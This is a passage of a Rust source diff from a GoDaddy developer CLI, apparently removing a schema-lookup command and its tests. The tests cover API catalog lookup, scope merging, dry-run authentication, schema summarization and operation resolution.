.collect(); - Ok(CommandResult::new(to_json(row)?).with_next_actions(next_actions)) - }, - ) -} - -#[derive(Debug, Clone, clap::Args)] -struct SchemaGetArgs { - /// Schema id — a component name, or a dotted path from a truncated preview. - #[arg(value_name = "ID")] - id: String, -} - -fn schema_get_command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_typed::( - CommandSpec::from_args::("get", "Show a schema's full nested tree") - .with_long( - "Shows the complete nested structure of a schema — every property at every \ - level, with $ref's resolved inline. This is the terminal drill-down target \ - for a truncated schema preview shown elsewhere: it never truncates itself. \ - Accepts either a shared component name (e.g. Business) or the dotted id \ - shown alongside a truncated preview (e.g. getUser.responses.200.schema).", - ) - .with_system("api") - .with_tier(Tier::Read) - .no_auth(true), - |_cred, args: SchemaGetArgs| async move { - let id = args.id.as_str(); - let catalog = catalog(); - - // A bare component name (no schema-id keyword segment) is looked - // up directly against every domain's `$defs` — it isn't scoped - // to one operation the way an inline dotted id is. - if let Some((domain_defs, schema)) = catalog - .iter() - .find_map(|d| d.defs.get(id).map(|schema| (&d.defs, schema))) - { - let tree = build_schema_tree(id, schema, domain_defs); - return Ok(CommandResult::new(to_json(tree)?)); - } - - let (operation_id, location) = parse_schema_id(id).ok_or_else(|| { - crate::error::GddyError::not_found(format!("no schema found for id '{id}'")) - .with_fix("Run: gddy api operation get to find schema ids") - .into_cli_error() - })?; - - let (domain, ep) = resolve_operation(catalog, &operation_id, None)?; - - let raw_schema = match &location { - SchemaLocation::RequestBody => { - ep.request_body.as_ref().and_then(|b| b.get("schema")) - } - SchemaLocation::Parameter(name) => { - find_parameter_schema(ep, name).map(|(schema, _)| schema) - } - SchemaLocation::Response(status) => ep - .responses - .get(status.as_str()) - .and_then(|r| r.get("schema")), - }; - let raw_schema = raw_schema.ok_or_else(|| { - crate::error::GddyError::not_found(format!("no schema found for id '{id}'")) - .into_cli_error() - })?; - - let tree = build_schema_tree(id, raw_schema, &domain.defs); - Ok(CommandResult::new(to_json(tree)?)) - }, - ) -} - -#[cfg(test)] -mod tests { - use cli_engine::{Cli, CliConfig}; - - use super::{catalog, find_endpoint, merge_required_scopes}; - - fn v(items: &[&str]) -> Vec { - items.iter().map(|s| (*s).to_owned()).collect() - } - - #[test] - fn merge_flags_only_when_no_endpoint_scopes() { - assert_eq!(merge_required_scopes(v(&["a", "b"]), &[]), v(&["a", "b"])); - } - - #[test] - fn merge_endpoint_only_when_no_flags() { - assert_eq!( - merge_required_scopes(v(&[]), &v(&["x", "y"])), - v(&["x", "y"]) - ); - } - - #[test] - fn merge_unions_and_dedupes_flags_first() { - assert_eq!( - merge_required_scopes(v(&["a", "b"]), &v(&["b", "c"])), - v(&["a", "b", "c"]) - ); - } - - #[test] - fn merge_dedupes_repeated_flag_values() { - assert_eq!( - merge_required_scopes(v(&["a", "a", "b"]), &v(&["b"])), - v(&["a", "b"]) - ); - } - - /// The commerce endpoint's catalog scope is included alongside an explicit - /// scope. `call_command` sends this exact list to - /// `credential_with_scopes` before it builds the HTTP request, so the PKCE - /// provider can perform OAuth step-up before an API 403. - #[test] - fn commerce_catalog_scope_is_merged_with_an_explicit_scope() { - let (_, endpoint) = find_endpoint(catalog(), "/v1/commerce/stores/{storeId}/orders") - .expect("orders endpoint exists in the embedded catalog"); - assert_eq!( - merge_required_scopes(v(&["commerce.order:write"]), &endpoint.scopes), - v(&["commerce.order:write", "commerce.order:read"]), - ); - } - - /// `catalog()` sorts once so every listing (`api domain list`, `api - /// search`, `api operation get`) sees the same stable, alphabetical order. - #[test] - fn catalog_domains_are_sorted_alphabetically() { - let names: Vec<&str> = catalog().iter().map(|d| d.name.as_str()).collect(); - let mut sorted = names.clone(); - sorted.sort(); - assert_eq!(names, sorted); - } - - /// Mirrors `call_command`'s domain-aware base-URL resolution: a matched - /// catalog endpoint resolves through its own domain's host (not the - /// generic gateway), with per-environment convention substitution. - #[test] - fn matched_endpoint_resolves_its_own_domain_base_url() { - let (domain, _) = find_endpoint(catalog(), "listFulfillments") - .expect("listFulfillments exists in the embedded catalog"); - assert_eq!(domain.name, "fulfillments"); - let base_url = - crate::environments::resolve_catalog_base_url(&domain.name, &domain.base_url, "ote"); - assert_eq!( - base_url, - "https://fulfillment.api.commerce.ote-godaddy.com/v1/commerce" - ); - } - - /// A real request path with path params substituted (as `api call` - /// receives — no user passes a literal `{storeId}`) must still match its - /// templated catalog path, or every parameterized endpoint would fall - /// back to the wrong (generic gateway) base URL and lose scope lookup. - #[test] - fn concrete_path_matches_its_templated_catalog_path() { - let (domain, endpoint) = find_endpoint(catalog(), "/stores/abc123/fulfillments") - .expect("concrete path should match the templated catalog path"); - assert_eq!(domain.name, "fulfillments"); - assert_eq!(endpoint.operation_id, "listFulfillments"); - } - - /// An endpoint the catalog doesn't recognize has no domain to resolve a - /// base URL against — `call_command` falls back to the generic gateway - /// host in this case. - #[test] - fn unmatched_endpoint_has_no_domain_to_resolve_against() { - assert!(find_endpoint(catalog(), "not-a-real-operation-id").is_none()); - } - - #[test] - fn split_header_trims_and_splits_on_first_colon() { - assert_eq!( - super::split_header("x-store-id: abc-123"), - Some(("x-store-id", "abc-123")) - ); - // Value may contain colons (e.g. a URL) — only the first colon splits. - assert_eq!( - super::split_header("Location: https://x/y"), - Some(("Location", "https://x/y")) - ); - assert_eq!(super::split_header("no-colon"), None); - } - - #[test] - fn parse_response_body_json_text_and_empty() { - use serde_json::json; - assert_eq!(super::parse_response_body(b"{\"a\":1}"), json!({"a":1})); - // Non-JSON is preserved as text, not dropped to null. - assert_eq!( - super::parse_response_body(b"plain text"), - json!("plain text") - ); - // Empty body is null. - assert_eq!(super::parse_response_body(b""), serde_json::Value::Null); - } - - #[test] - fn graphql_errors_detects_nonempty_array_only() { - use serde_json::json; - assert!( - super::graphql_errors(&json!({"data": null, "errors": [{"message": "x"}]})).is_some() - ); - assert!(super::graphql_errors(&json!({"data": {}, "errors": []})).is_none()); - assert!(super::graphql_errors(&json!({"data": {}})).is_none()); - } - - #[test] - fn is_mutating_method_treats_only_get_and_head_as_safe() { - assert!(!super::is_mutating_method("GET")); - assert!(!super::is_mutating_method("get")); - assert!(!super::is_mutating_method("HEAD")); - assert!(super::is_mutating_method("POST")); - assert!(super::is_mutating_method("PUT")); - assert!(super::is_mutating_method("PATCH")); - assert!(super::is_mutating_method("DELETE")); - } - - /// `call` opted into handler-driven `--dry-run` so a GET/HEAD can execute - /// for real under `--dry-run` — but it still requires `Required` auth - /// (no `.no_auth()`), so it must stay fail-closed regardless of method. - #[tokio::test] - async fn call_dry_run_get_still_requires_auth() { - const AUTH_FAILURE_EXIT: i32 = 2; - let cli = Cli::new( - CliConfig::new("gddy", "GoDaddy developer CLI", "gddy") - .with_default_auth_provider("godaddy") - .with_module(super::module()), - ); - let output = cli - .run([ - "gddy", - "api", - "call", - "/v1/example", - "--method", - "GET", - "--dry-run", - "--output", - "json", - ]) - .await; - assert_eq!( - output.exit_code, AUTH_FAILURE_EXIT, - "a GET falls through to the real request even under --dry-run, so it still needs \ - auth, got: {}", - output.rendered - ); - } - - /// `call` is `auth_optional()` specifically so the dry-run-for-mutating- - /// methods branch never triggers credential resolution (previously it did, - /// via the engine's `Required`-auth eager resolution before the handler - /// even ran) — a POST preview must succeed with no auth provider at all. - #[tokio::test] - async fn call_dry_run_mutating_method_needs_no_auth() { - let cli = Cli::new( - CliConfig::new("gddy", "GoDaddy developer CLI", "gddy").with_module(super::module()), - ); - let output = cli - .run([ - "gddy", - "api", - "call", - "/v1/example", - "--method", - "POST", - "--dry-run", - "--output", - "json", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - assert_eq!(rendered["data"]["action"], "dry-run: would execute"); - } - - /// A malformed method must still be rejected under `--dry-run`, matching - /// what the real path's `method.parse()` would do — a garbage method - /// must not previously have returned a fake "would execute" success. - #[tokio::test] - async fn call_dry_run_rejects_a_malformed_method() { - let cli = Cli::new( - CliConfig::new("gddy", "GoDaddy developer CLI", "gddy").with_module(super::module()), - ); - let output = cli - .run([ - "gddy", - "api", - "call", - "/v1/example", - "--method", - "POST ", - "--dry-run", - "--output", - "json", - ]) - .await; - assert_ne!(output.exit_code, 0, "{}", output.rendered); - assert!( - output.rendered.contains("invalid HTTP method"), - "{}", - output.rendered - ); - } - - /// A bare operationId (no leading '/') must be rejected rather than - /// silently built into an invalid request URL — `find_endpoint` can match - /// it for scope lookup, but the URL is always built from the literal - /// `endpoint` string, not the matched catalog path. - #[tokio::test] - async fn call_rejects_an_endpoint_without_a_leading_slash() { - let cli = Cli::new( - CliConfig::new("gddy", "GoDaddy developer CLI", "gddy").with_module(super::module()), - ); - let output = cli - .run([ - "gddy", - "api", - "call", - "listFulfillments", - "--dry-run", - "--output", - "json", - ]) - .await; - assert_ne!(output.exit_code, 0, "{}", output.rendered); - assert!( - output.rendered.contains("must be a URL path starting with"), - "{}", - output.rendered - ); - } - - // ----------------------------------------------------------------------- - // Schema summarization - // ----------------------------------------------------------------------- - - use serde_json::json; - - use super::{schema_type_label, search_endpoints, summarize_graphql_schema, summarize_schema}; - - fn no_defs() -> serde_json::Map { - serde_json::Map::new() - } - - #[test] - fn schema_type_label_object_lists_every_property_name() { - let schema = json!({ - "type": "object", - "properties": { "a": {}, "b": {}, "c": {}, "d": {}, "e": {}, "f": {} }, - }); - assert_eq!( - schema_type_label(&schema, &no_defs()), - "object{a, b, c, d, e, f}" - ); - } - - #[test] - fn schema_type_label_array_recurses_into_items() { - let schema = json!({ "type": "array", "items": { "type": "string" } }); - assert_eq!(schema_type_label(&schema, &no_defs()), "array"); - } - - #[test] - fn schema_type_label_bare_array_of_untyped_objects() { - // No declared `properties` on the item schema — renders as the bare - // "array" (no trailing `{`), distinct from "array" - // for an item schema with declared properties. - let schema = - json!({ "type": "array", "items": { "type": "object", "additionalProperties": true } }); - assert_eq!(schema_type_label(&schema, &no_defs()), "array"); - } - - #[test] - fn schema_type_label_string_with_format() { - let schema = json!({ "type": "string", "format": "uuid" }); - assert_eq!(schema_type_label(&schema, &no_defs()), "string(uuid)"); - } - - #[test] - fn schema_type_label_enum_lists_every_value() { - let schema = json!({ "enum": ["a", "b", "c", "d", "e", "f", "g", "h", "i"] }); - assert_eq!( - schema_type_label(&schema, &no_defs()), - "enum(a|b|c|d|e|f|g|h|i)" - ); - } - - #[test] - fn schema_type_label_falls_back_through_one_of_any_of_all_of_and_ref() { - assert_eq!( - schema_type_label(&json!({ "oneOf": [] }), &no_defs()), - "oneOf" - ); - assert_eq!( - schema_type_label(&json!({ "anyOf": [] }), &no_defs()), - "anyOf" - ); - assert_eq!( - schema_type_label(&json!({ "allOf": [] }), &no_defs()), - "allOf" - ); - assert_eq!( - schema_type_label(&json!({ "$ref": "#/$defs/uuid" }), &no_defs()), - "ref(#/$defs/uuid)" - ); - assert_eq!(schema_type_label(&json!({}), &no_defs()), "object"); - } - - #[test] - fn schema_type_label_resolves_a_ref_against_defs() { - let mut defs = serde_json::Map::new(); - defs.insert( - "Business".to_owned(), - json!({ "type": "object", "properties": { "name": {}, "address": {} } }), - ); - let schema = json!({ "$ref": "#/$defs/Business" }); - assert_eq!(schema_type_label(&schema, &defs), "object{address, name}"); - } - - #[test] - fn schema_type_label_ref_chain_through_multiple_defs() { - let mut defs = serde_json::Map::new(); - defs.insert("A".to_owned(), json!({ "$ref": "#/$defs/B" })); - defs.insert( - "B".to_owned(), - json!({ "type": "string", "format": "uuid" }), - ); - let schema = json!({ "$ref": "#/$defs/A" }); - assert_eq!(schema_type_label(&schema, &defs), "string(uuid)"); - } - - #[test] - fn schema_type_label_ref_cycle_does_not_hang() { - let mut defs = serde_json::Map::new(); - defs.insert("A".to_owned(), json!({ "$ref": "#/$defs/B" })); - defs.insert("B".to_owned(), json!({ "$ref": "#/$defs/A" })); - let schema = json!({ "$ref": "#/$defs/A" }); - // Bounded by MAX_REF_DEPTH — must terminate and fall back to an - // unresolved ref label rather than looping forever. Which of A/B it - // lands on depends on MAX_REF_DEPTH's parity, so only assert the - // shape, not the exact key. - assert!( - schema_type_label(&schema, &defs).starts_with("ref(#/$defs/"), - "expected an unresolved ref fallback, got: {}", - schema_type_label(&schema, &defs) - ); - } - - #[test] - fn schema_type_label_unknown_ref_falls_back_to_unresolved_label() { - let schema = json!({ "$ref": "#/$defs/DoesNotExist" }); - assert_eq!( - schema_type_label(&schema, &no_defs()), - "ref(#/$defs/DoesNotExist)" - ); - } - - #[test] - fn summarize_schema_keeps_the_full_description() { - let long_description = "x".repeat(200); - let schema = json!({ - "type": "object", - "properties": { "note": { "type": "string", "description": long_description.clone() } }, - }); - let props = summarize_schema(Some(&schema), &no_defs()).expect("has properties"); - let note = props.iter().find(|p| p.name == "note").expect("note prop"); - assert_eq!(note.description.as_deref(), Some(long_description.as_str())); - } - - #[test] - fn summarize_schema_keeps_the_full_enum_regardless_of_size() { - let big_enum: Vec<_> = (0..20).map(|i| json!(i)).collect(); - let schema = json!({ - "type": "object", - "properties": { "big": { "type": "integer", "enum": big_enum.clone() } }, - }); - let props = summarize_schema(Some(&schema), &no_defs()).expect("has properties"); - let big = props.iter().find(|p| p.name == "big").expect("big prop"); - assert_eq!(big.enum_values.as_ref(), Some(&big_enum)); - } - - #[test] - fn summarize_schema_scalar_value_falls_back_to_value_placeholder() { - let schema = json!({ "type": "string" }); - let props = summarize_schema(Some(&schema), &no_defs()).expect("scalar schema summarizes"); - assert_eq!(props.len(), 1); - assert_eq!(props[0].name, "(value)"); - assert_eq!(props[0].prop_type, "string"); - assert!(props[0].required); - } - - #[test] - fn summarize_schema_none_for_schema_with_no_type_or_properties() { - assert!(summarize_schema(Some(&json!({})), &no_defs()).is_none()); - assert!(summarize_schema(None, &no_defs()).is_none()); - } - - #[test] - fn summarize_schema_resolves_a_top_level_ref() { - let mut defs = serde_json::Map::new(); - defs.insert( - "Business".to_owned(), - json!({ - "type": "object", - "properties": { "name": { "type": "string" } }, - }), - ); - // Most catalog request bodies are exactly this shape: a bare `$ref` - // with no inline `properties` for summarize_schema to find directly. - let schema = json!({ "$ref": "#/$defs/Business" }); - let props = summarize_schema(Some(&schema), &defs).expect("resolves through $ref"); - assert_eq!(props.len(), 1); - assert_eq!(props[0].name, "name"); - assert_eq!(props[0].prop_type, "string"); - } - - #[test] - fn summarize_schema_resolves_a_property_level_ref() { - let mut defs = serde_json::Map::new(); - defs.insert( - "address".to_owned(), - json!({ - "type": "object", - "properties": { "street": {}, "city": {} }, - "description": "A mailing address", - }), - ); - let schema = json!({ - "type": "object", - "properties": { "address": { "$ref": "#/$defs/address" } }, - }); - let props = summarize_schema(Some(&schema), &defs).expect("has properties"); - let address = props - .iter() - .find(|p| p.name == "address") - .expect("address prop"); - assert_eq!(address.prop_type, "object{city, street}"); - // No local description at the reference site — falls back to the - // resolved def's. - assert_eq!(address.description.as_deref(), Some("A mailing address")); - } - - #[test] - fn summarize_schema_local_description_overrides_the_resolved_def() { - let mut defs = serde_json::Map::new(); - defs.insert( - "address".to_owned(), - json!({ "type": "object", "properties": {}, "description": "def description" }), - ); - let schema = json!({ - "type": "object", - "properties": { - "address": { "$ref": "#/$defs/address", "description": "local override" }, - }, - }); - let props = summarize_schema(Some(&schema), &defs).expect("has properties"); - let address = props - .iter() - .find(|p| p.name == "address") - .expect("address prop"); - assert_eq!(address.description.as_deref(), Some("local override")); - } - - // ----------------------------------------------------------------------- - // Full schema trees and their ids - // ----------------------------------------------------------------------- - - use super::{ - SCHEMA_ID_KEYWORDS, SchemaLocation, build_schema_tree, compute_schema_id, describe_schema, - parse_schema_id, scalar_schema_type, schema_base_type_label, - }; - - #[test] - fn build_schema_tree_recurses_through_nested_object_levels() { - let schema = json!({ - "type": "object", - "required": ["address"], - "properties": { - "address": { - "type": "object", - "required": ["city"], - "properties": { - "city": { "type": "string" }, - }, - }, - }, - }); - let tree = build_schema_tree("root", &schema, &no_defs()); - assert_eq!(tree.node_type, "object"); - let address = tree - .properties - .as_ref() - .expect("root has properties") - .iter() - .find(|p| p.name == "address") - .expect("address prop"); - assert!(address.required); - assert_eq!(address.node_type, "object"); - let city = address - .properties - .as_ref() - .expect("address has properties") - .iter() - .find(|p| p.name == "city") - .expect("city prop"); - assert_eq!(city.node_type, "string"); - } - - #[test] - fn build_schema_tree_recurses_into_array_items() { - let schema = json!({ - "type": "array", - "items": { "type": "object", "properties": { "id": { "type": "string" } } }, - }); - let tree = build_schema_tree("tags", &schema, &no_defs()); - assert_eq!(tree.node_type, "array"); - let item = tree.items.expect("array has an items node"); - assert_eq!(item.node_type, "object"); - assert!( - item.properties - .expect("item has properties") - .iter() - .any(|p| p.name == "id") - ); - } - - #[test] - fn build_schema_tree_ref_cycle_terminates() { - let mut defs = serde_json::Map::new(); - defs.insert("A".to_owned(), json!({ "$ref": "#/$defs/B" })); - defs.insert("B".to_owned(), json!({ "$ref": "#/$defs/A" })); - let schema = json!({ "$ref": "#/$defs/A" }); - let tree = build_schema_tree("root", &schema, &defs); - assert!( - tree.node_type.starts_with("ref(#/$defs/"), - "expected an unresolved ref fallback, got: {}", - tree.node_type - ); - } - - #[test] - fn compute_schema_id_uses_the_defs_key_for_a_ref_schema() { - let schema = json!({ "$ref": "#/$defs/Business" }); - assert_eq!( - compute_schema_id("getUser", &SchemaLocation::RequestBody, &schema), - "Business" - ); - } - - #[test] - fn compute_schema_id_builds_a_dotted_path_for_each_inline_location() { - let schema = json!({ "type": "object" }); - assert_eq!( - compute_schema_id("getUser", &SchemaLocation::RequestBody, &schema), - "getUser.requestBody.schema" - ); - assert_eq!( - compute_schema_id( - "getUser", - &SchemaLocation::Parameter("limit".to_owned()), - &schema - ), - "getUser.parameters.limit.schema" - ); - assert_eq!( - compute_schema_id( - "getUser", - &SchemaLocation::Response("200".to_owned()), - &schema - ), - "getUser.responses.200.schema" - ); - } - - #[test] - fn scalar_schema_type_is_none_for_a_ref_even_if_it_would_resolve_to_a_scalar() { - let schema = json!({ "$ref": "#/$defs/Confirmation" }); - assert_eq!(scalar_schema_type(Some(&schema), &no_defs()), None); - } - - #[test] - fn scalar_schema_type_is_none_for_an_object_with_properties() { - let schema = json!({ "type": "object", "properties": { "a": {} } }); - assert_eq!(scalar_schema_type(Some(&schema), &no_defs()), None); - } - - #[test] - fn scalar_schema_type_is_none_for_a_missing_schema() { - assert_eq!(scalar_schema_type(None, &no_defs()), None); - } - - #[test] - fn scalar_schema_type_labels_a_bare_inline_scalar() { - let schema = json!({ "type": "string", "format": "uuid" }); - assert_eq!( - scalar_schema_type(Some(&schema), &no_defs()), - Some("string(uuid)".to_owned()) - ); - } - - #[test] - fn scalar_schema_type_labels_a_bare_inline_array() { - let schema = json!({ "type": "array", "items": { "type": "string" } }); - assert_eq!( - scalar_schema_type(Some(&schema), &no_defs()), - Some("array".to_owned()) - ); - } - - #[test] - fn schema_base_type_label_does_not_list_property_names_or_recurse_into_items() { - let object_schema = json!({ - "type": "object", - "properties": { "a": {}, "b": {}, "c": {} }, - }); - assert_eq!(schema_base_type_label(&object_schema, &no_defs()), "object"); - - let array_schema = - json!({ "type": "array", "items": { "type": "object", "properties": { "a": {} } } }); - assert_eq!(schema_base_type_label(&array_schema, &no_defs()), "array"); - } - - #[test] - fn schema_base_type_label_resolves_a_ref_to_its_base_type() { - let mut defs = no_defs(); - defs.insert( - "Shipment".to_owned(), - json!({ "type": "object", "properties": { "id": {} } }), - ); - let schema = json!({ "$ref": "#/$defs/Shipment" }); - assert_eq!(schema_base_type_label(&schema, &defs), "object"); - } - - #[test] - fn describe_schema_is_drillable_with_the_base_type_for_a_ref() { - let mut defs = no_defs(); - defs.insert( - "Shipment".to_owned(), - json!({ "type": "object", "properties": { "id": {} } }), - ); - let schema = json!({ "$ref": "#/$defs/Shipment" }); - assert_eq!( - describe_schema(Some(&schema), &defs), - (Some("object".to_owned()), true) - ); - } - - #[test] - fn describe_schema_is_drillable_with_the_base_type_for_an_inline_object() { - let schema = json!({ "type": "object", "properties": { "a": {} } }); - assert_eq!( - describe_schema(Some(&schema), &no_defs()), - (Some("object".to_owned()), true) - ); - } - - #[test] - fn describe_schema_is_not_drillable_with_the_full_label_for_a_bare_scalar() { - let schema = json!({ "type": "string", "format": "uuid" }); - assert_eq!( - describe_schema(Some(&schema), &no_defs()), - (Some("string(uuid)".to_owned()), false) - ); - } - - #[test] - fn describe_schema_is_not_drillable_for_a_missing_schema() { - assert_eq!(describe_schema(None, &no_defs()), (None, false)); - } - - #[test] - fn parse_schema_id_round_trips_each_location_kind() { - assert_eq!( - parse_schema_id("getUser.requestBody.schema"), - Some(("getUser".to_owned(), SchemaLocation::RequestBody)) - ); - assert_eq!( - parse_schema_id("getUser.parameters.limit.schema"), - Some(( - "getUser".to_owned(), - SchemaLocation::Parameter("limit".to_owned()) - )) - ); - assert_eq!( - parse_schema_id("getUser.responses.200.schema"), - Some(( - "getUser".to_owned(), - SchemaLocation::Response("200".to_owned()) - )) - ); - } - - #[test] - fn parse_schema_id_handles_dotted_operation_ids_and_parameter_names() { - // Real catalog data: an operationId and a parameter name can each - // contain literal dots, so the parser can't assume a fixed split - // position — it has to scan for the keyword segment. - assert_eq!( - parse_schema_id( - "commerce.location.verify-address.parameters.registeredStores.storeId.schema" - ), - Some(( - "commerce.location.verify-address".to_owned(), - SchemaLocation::Parameter("registeredStores.storeId".to_owned()) - )) - ); - } - - #[test] - fn parse_schema_id_rejects_malformed_ids() { - assert_eq!(parse_schema_id("justAnOperationId"), None); - assert_eq!(parse_schema_id("getUser.requestBody"), None); // missing trailing "schema" - assert_eq!(parse_schema_id(".parameters.limit.schema"), None); // empty operationId - } - - #[test] - fn schema_id_round_trip_holds_across_the_real_catalog() { - for domain in catalog() { - for ep in &domain.endpoints { - let check = |location: SchemaLocation, schema: &serde_json::Value| { - let id = compute_schema_id(&ep.operation_id, &location, schema); - if schema.get("$ref").is_some() { - // A $ref schema's id is its bare $defs key, resolved - // directly against the defs map elsewhere — it's - // never round-tripped through parse_schema_id. - return; - } - assert_eq!( - parse_schema_id(&id), - Some((ep.operation_id.clone(), location)), - "id was {id:?}" - ); - }; - - if let Some(schema) = ep.request_body.as_ref().and_then(|b| b.get("schema")) { - check(SchemaLocation::RequestBody, schema); - } - for param in &ep.parameters { - if let (Some(name), Some(schema)) = ( - param.get("name").and_then(serde_json::Value::as_str), - param.get("schema"), - ) { - check(SchemaLocation::Parameter(name.to_owned()), schema); - } - } - if let Some(responses) = ep.responses.as_object() { - for (status, resp) in responses { - if let Some(schema) = resp.get("schema") { - check(SchemaLocation::Response(status.clone()), schema); - } - } - } - } - } - } - - #[test] - fn schema_id_grammar_has_no_collisions_in_the_real_catalog() { - let collides = |segment: &str| SCHEMA_ID_KEYWORDS.contains(&segment) || segment == "schema"; - for domain in catalog() { - for ep in &domain.endpoints { - for segment in ep.operation_id.split('.') { - assert!( - !collides(segment), - "operationId {:?} has a segment ({segment:?}) that collides with the \ - schema-id grammar", - ep.operation_id - ); - } - for param in &ep.parameters { - let Some(name) = param.get("name").and_then(serde_json::Value::as_str) else { - continue; - }; - for segment in name.split('.') { - assert!( - !collides(segment), - "parameter {name:?} on {:?} has a segment ({segment:?}) that \ - collides with the schema-id grammar", - ep.operation_id - ); - } - } - } - } - } - - // ----------------------------------------------------------------------- - // GraphQL summarization - // ----------------------------------------------------------------------- - - fn make_graphql_operations(count: usize) -> Vec { - (0..count) - .map(|i| super::GraphqlOperation { - name: format!("op{i}"), - kind: if i % 2 == 0 { "query" } else { "mutation" }.to_owned(), - return_type: "String".to_owned(), - deprecated: false, - deprecation_reason: None, - args: vec![], - }) - .collect() - } - - #[test] - fn summarize_graphql_schema_includes_every_operation_and_splits_query_mutation_counts() { - let schema = super::GraphqlSchema { - schema_ref: "./schema.graphql".to_owned(), - operation_count: 25, - operations: make_graphql_operations(25), - }; - let summary = summarize_graphql_schema(&schema); - assert_eq!(summary["operationCount"], json!(25)); - assert_eq!(summary["queryCount"], json!(13)); - assert_eq!(summary["mutationCount"], json!(12)); - assert_eq!( - summary["operations"] - .as_array() - .expect("operations array") - .len(), - 25 - ); - } - - #[test] - fn summarize_graphql_schema_carries_operation_detail() { - let schema = super::GraphqlSchema { - schema_ref: "./schema.graphql".to_owned(), - operation_count: 1, - operations: vec![super::GraphqlOperation { - name: "widgets".to_owned(), - kind: "query".to_owned(), - return_type: "[Widget]".to_owned(), - deprecated: true, - deprecation_reason: Some("use widgetsV2".to_owned()), - args: vec![super::GraphqlArgument { - name: "id".to_owned(), - arg_type: "String!".to_owned(), - required: true, - default_value: None, - }], - }], - }; - let summary = summarize_graphql_schema(&schema); - assert_eq!(summary["operations"][0]["name"], json!("widgets")); - assert_eq!(summary["operations"][0]["deprecated"], json!(true)); - assert_eq!( - summary["operations"][0]["args"][0]["type"], - json!("String!") - ); - } - - // ----------------------------------------------------------------------- - // search_endpoints — GraphQL operation names are searchable - // ----------------------------------------------------------------------- - - #[test] - fn search_endpoints_matches_a_graphql_operation_name() { - let hits = search_endpoints(catalog(), "SKUGroup"); - assert!( - hits.iter() - .any(|(_, ep)| ep.operation_id == "postCatalogGraphql"), - "expected a GraphQL operation name to surface its parent endpoint in search results" - ); - } - - // ----------------------------------------------------------------------- - // api operation get — exact/method/fuzzy resolution, schema + GraphQL summary - // ----------------------------------------------------------------------- - - fn operation_cli() -> Cli { - // `resolve_catalog_base_url` needs `ctx.middleware.env` to actually - // resolve to `DEFAULT_ENV` ("prod") rather than an empty default, so - // wire environments the same way `main.rs` does for the real CLI. - Cli::new( - CliConfig::new("gddy", "GoDaddy developer CLI", "gddy") - .with_module(super::module()) - .with_environments(std::sync::Arc::clone(crate::environments::instance())), - ) - } - - #[tokio::test] - async fn operation_get_exact_operation_id_match() { - // Pin `--env` explicitly: `fullPath` depends on env-resolved base - // URL, and the default env is read from ambient local config - // (`gdenv`), so a bare run isn't hermetic across machines/CI. - let output = operation_cli() - .run([ - "gddy", - "api", - "operation", - "get", - "commerce.location.verify-address", - "--env", - "prod", - "--output", - "json", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - assert_eq!( - rendered["data"]["operationId"], - json!("commerce.location.verify-address") - ); - assert_eq!( - rendered["data"]["fullPath"], - json!("/v1/commerce/location/address-verifications") - ); - } - - /// `fullPath` must stay a hostless path in every environment, not just - /// prod — `resolve_catalog_base_url` rewrites the host for non-prod envs - /// (e.g. `api.ote-godaddy.com`), so stripping only the literal prod host - /// would silently leave the scheme+host in place here. - #[tokio::test] - async fn operation_get_full_path_is_hostless_in_a_non_prod_env() { - let output = operation_cli() - .run([ - "gddy", - "api", - "operation", - "get", - "commerce.location.verify-address", - "--env", - "ote", - "--output", - "json", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - assert_eq!( - rendered["data"]["baseUrl"], - json!("https://api.ote-godaddy.com/v1/commerce") - ); - assert_eq!( - rendered["data"]["fullPath"], - json!("/v1/commerce/location/address-verifications") - ); - } - - #[tokio::test] - async fn operation_get_exact_match_narrowed_by_method_flag() { - let output = operation_cli() - .run([ - "gddy", - "api", - "operation", - "get", - "/location/addresses", - "--method", - "GET", - "--output", - "json", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - assert_eq!( - rendered["data"]["operationId"], - json!("commerce.location.search-addresses") - ); - } - - /// Matches the original CLI's documented quirk: `--method` only narrows - /// the exact-match step. A mismatched method falls through to fuzzy - /// search, which ignores the method filter entirely — so this still - /// resolves to the (wrong-method) endpoint rather than erroring. - #[tokio::test] - async fn operation_get_method_filter_is_ignored_during_fuzzy_fallback() { - let output = operation_cli() - .run([ - "gddy", - "api", - "operation", - "get", - "/location/addresses", - "--method", - "POST", - "--output", - "json", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - assert_eq!( - rendered["data"]["operationId"], - json!("commerce.location.search-addresses") - ); - assert_eq!(rendered["data"]["method"], json!("GET")); - } - - #[tokio::test] - async fn operation_get_single_fuzzy_match_resolves_transparently() { - let output = operation_cli() - .run([ - "gddy", - "api", - "operation", - "get", - "verify-address", - "--output", - "json", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - assert_eq!( - rendered["data"]["operationId"], - json!("commerce.location.verify-address") - ); - } - - /// A fuzzy query matching several unrelated endpoints is a hard error - /// (see `resolve_operation`/`ambiguous_operation_error`), not a - /// success-shaped `{message, matches}` response — cli-engine's error - /// envelope has no structured `next_actions` hook, so every candidate - /// is instead a runnable command line inside the error's `fix` string. - #[tokio::test] - async fn operation_get_multiple_fuzzy_matches_is_an_ambiguous_error() { - let output = operation_cli() - .run([ - "gddy", - "api", - "operation", - "get", - "/location", - "--output", - "json", - ]) - .await; - assert_ne!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - assert_eq!(rendered["error"]["code"], json!("AMBIGUOUS_MATCH")); - assert!( - rendered["error"]["message"] - .as_str() - .unwrap_or_default() - .contains("matches 2 operations"), - "{}", - output.rendered - ); - let fix = rendered["fix"].as_str().expect("fix present"); - assert!(fix.contains("/location/address-verifications"), "{fix}"); - assert!(fix.contains("/location/addresses"), "{fix}"); - assert!(fix.contains("gddy api operation get"), "{fix}"); - } - - /// Same ambiguity, but through human output — 